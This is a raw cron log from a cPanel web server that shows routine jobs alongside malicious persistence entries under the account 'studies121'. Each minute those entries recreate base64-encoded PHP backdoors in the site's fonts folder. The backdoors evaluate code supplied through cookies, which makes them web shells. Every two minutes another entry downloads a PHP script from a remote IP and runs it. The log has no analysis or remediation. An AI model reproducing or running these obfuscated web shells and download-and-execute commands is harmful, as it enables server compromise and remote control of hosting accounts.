Sep  8 10:38:01 ip-184-168-122-23 CROND[1729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:39:02 ip-184-168-122-23 CROND[1816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:39:02 ip-184-168-122-23 CROND[1820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:39:02 ip-184-168-122-23 CROND[1818]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 10:39:02 ip-184-168-122-23 CROND[1821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:39:02 ip-184-168-122-23 CROND[1819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:40:01 ip-184-168-122-23 CROND[2013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:40:01 ip-184-168-122-23 CROND[2015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:40:01 ip-184-168-122-23 CROND[2023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:40:01 ip-184-168-122-23 CROND[2022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:40:01 ip-184-168-122-23 CROND[2019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:40:01 ip-184-168-122-23 CROND[2020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:40:01 ip-184-168-122-23 CROND[2021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:40:01 ip-184-168-122-23 CROND[2024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:41:01 ip-184-168-122-23 CROND[2128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:41:01 ip-184-168-122-23 CROND[2130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:41:01 ip-184-168-122-23 CROND[2131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:41:01 ip-184-168-122-23 CROND[2133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:42:01 ip-184-168-122-23 CROND[2228]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:42:01 ip-184-168-122-23 CROND[2230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:42:01 ip-184-168-122-23 CROND[2231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:42:01 ip-184-168-122-23 CROND[2234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:42:01 ip-184-168-122-23 CROND[2233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:43:01 ip-184-168-122-23 CROND[2316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:43:01 ip-184-168-122-23 CROND[2318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:43:01 ip-184-168-122-23 CROND[2317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:43:01 ip-184-168-122-23 CROND[2320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:44:01 ip-184-168-122-23 CROND[2450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:44:01 ip-184-168-122-23 CROND[2452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:44:01 ip-184-168-122-23 CROND[2454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:44:01 ip-184-168-122-23 CROND[2457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:44:01 ip-184-168-122-23 CROND[2456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:45:02 ip-184-168-122-23 CROND[2588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:45:02 ip-184-168-122-23 CROND[2589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:45:02 ip-184-168-122-23 CROND[2590]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:45:02 ip-184-168-122-23 CROND[2593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:45:02 ip-184-168-122-23 CROND[2594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:45:02 ip-184-168-122-23 CROND[2595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:46:01 ip-184-168-122-23 CROND[2777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:46:01 ip-184-168-122-23 CROND[2778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:46:01 ip-184-168-122-23 CROND[2781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:46:01 ip-184-168-122-23 CROND[2782]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 10:46:01 ip-184-168-122-23 CROND[2784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:46:01 ip-184-168-122-23 CROND[2786]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 10:46:01 ip-184-168-122-23 CROND[2783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:47:01 ip-184-168-122-23 CROND[2918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:47:01 ip-184-168-122-23 CROND[2920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:47:01 ip-184-168-122-23 CROND[2922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:47:01 ip-184-168-122-23 CROND[2921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:48:01 ip-184-168-122-23 CROND[3034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:48:01 ip-184-168-122-23 CROND[3036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:48:01 ip-184-168-122-23 CROND[3038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:48:01 ip-184-168-122-23 CROND[3037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:48:01 ip-184-168-122-23 CROND[3039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:49:01 ip-184-168-122-23 CROND[3157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:49:01 ip-184-168-122-23 CROND[3160]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 10:49:02 ip-184-168-122-23 CROND[3161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:49:02 ip-184-168-122-23 CROND[3162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:49:02 ip-184-168-122-23 CROND[3163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:50:01 ip-184-168-122-23 CROND[3320]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 10:50:01 ip-184-168-122-23 CROND[3321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:50:01 ip-184-168-122-23 CROND[3322]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:50:01 ip-184-168-122-23 CROND[3326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:50:01 ip-184-168-122-23 CROND[3329]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:50:01 ip-184-168-122-23 CROND[3330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:50:01 ip-184-168-122-23 CROND[3332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:50:01 ip-184-168-122-23 CROND[3331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:50:01 ip-184-168-122-23 CROND[3333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
